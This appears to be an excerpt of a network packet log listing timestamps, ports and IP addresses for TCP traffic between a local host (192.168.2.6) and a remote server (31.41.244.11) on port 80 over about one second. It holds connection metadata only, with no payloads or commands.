Dec 12, 2024 21:50:11.622052908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.622097969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.623497963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.623548985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.623584032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.623637915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.625052929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.625102043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.625180006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.625225067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.626529932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.626756907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.626821041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.626868010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.628088951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.628144026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.628201008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.628243923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.629673958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.629734993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.629770041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.629811049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.631272078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.631326914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.631357908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.631402969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.632667065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.632719994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.632760048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.632807016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.634196997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.634243011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.634330988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.634376049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.635715961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.635767937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.635808945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.635864973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.637140989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.637187004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.637257099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.637305975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.638787031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.638834953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.638972998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.639051914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.640085936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.640186071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.640208006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.640250921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.641532898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.641585112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.641676903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.641721010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.643122911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.643172979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.643222094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.643347979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.644550085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.644601107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.644643068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.644686937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.645934105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.645976067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.646035910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.646086931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.647432089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.647500038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.647535086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.647699118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.648969889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.649022102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.649151087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.649200916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.649732113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.649780989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.649823904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.649899960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.650556087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.650600910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.650696993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.650738001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.651423931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.651472092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.651559114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.651602983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.652312040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.652360916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.652426958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.652471066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.653095007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.653143883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.653186083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.653228045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.654057026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.654099941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.654164076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.654210091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.654844046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.654886961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.654978037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.655019045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.655675888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.655723095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.655756950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.655798912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.656496048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.656546116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.656646013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.656685114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.657315016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.657363892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.657398939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.657447100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.658129930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.658183098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.658226013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.658269882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.659028053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.659118891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.659168005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.660928965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.660984993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.661700964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.661725998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.661744118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.661750078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.661776066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.661786079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.662307978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.662327051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.662368059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.662651062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.662674904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.662708044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.662722111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.663091898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.663132906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.663223028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.663335085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.663980007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.664030075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.664072037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.664114952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.664753914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.664800882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.664896011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.664941072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.665551901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.665600061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.665760040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.665811062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.666349888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.666397095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.666465044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.666548967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.667212963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.667259932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.667294979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.667383909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669100046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669152021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669204950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669225931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669244051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669259071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669611931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669689894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669810057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669828892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.669851065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.669866085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.670386076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.670428038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.670509100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.670629025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.671205997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.671253920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.671353102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.671406984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.672044039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.672095060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.672125101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.672219992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.672796011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.672844887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.747545004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.747575998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.747600079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.747607946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.747637033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.747646093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.747646093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.747678995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.748210907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.748265028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.748322964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.748428106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.749043941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.749094963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.749546051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.749576092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.749593973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.749613047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.750245094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.750293970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.750655890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.750680923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.750709057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.750726938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.751127005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.751178980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.751324892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.751364946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.751895905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.751979113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.752103090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.752141953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.752618074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.752665043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.753040075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.753094912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.753376961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.753420115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.753485918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.753618002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.754173040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.754223108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.754245043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.754286051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.754888058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.754936934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.754957914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.755162954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.755644083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.755711079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.755728006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.755769014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.756313086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.756362915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.756367922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.756403923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.757047892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.757091045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.757131100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.757172108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.757791996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.757855892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.757886887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.757899046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.758469105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.758512974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.758594036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.758635044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.759248018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.759298086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.759354115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.759447098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.760046005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.760097027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.760274887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.760323048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.760708094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.760756969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.760816097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.760864973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.761569023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.761667967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.761683941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.761709929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.762190104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.762278080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.762286901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.762317896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.762929916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.762979031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.763005972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.763046980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.763626099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.763700008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.763716936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.763756037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.764343023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.764396906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.764448881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.764599085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.765091896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.765142918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.765187979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.765234947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.766056061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.766104937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.766160965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.766339064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.766539097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.766618967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.766652107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.766700983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.767378092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.767432928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.767465115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.767505884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.767956972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.768011093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.768040895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.768081903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.768646002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.768707037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.768754005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.768799067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.769450903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.769541025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.769553900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.769623995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.770065069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.770185947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.770225048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.770239115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.770840883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.770901918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.770941019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.770983934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.771424055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.771481991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.771576881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.771598101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.771619081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.771631002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.772383928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.772440910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.772552967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.772576094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.772619009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.773309946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.773469925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.773494959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.773515940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.773538113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.774173975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.774374008 CET	80	49878	31.41.244.11	192.168.2.6
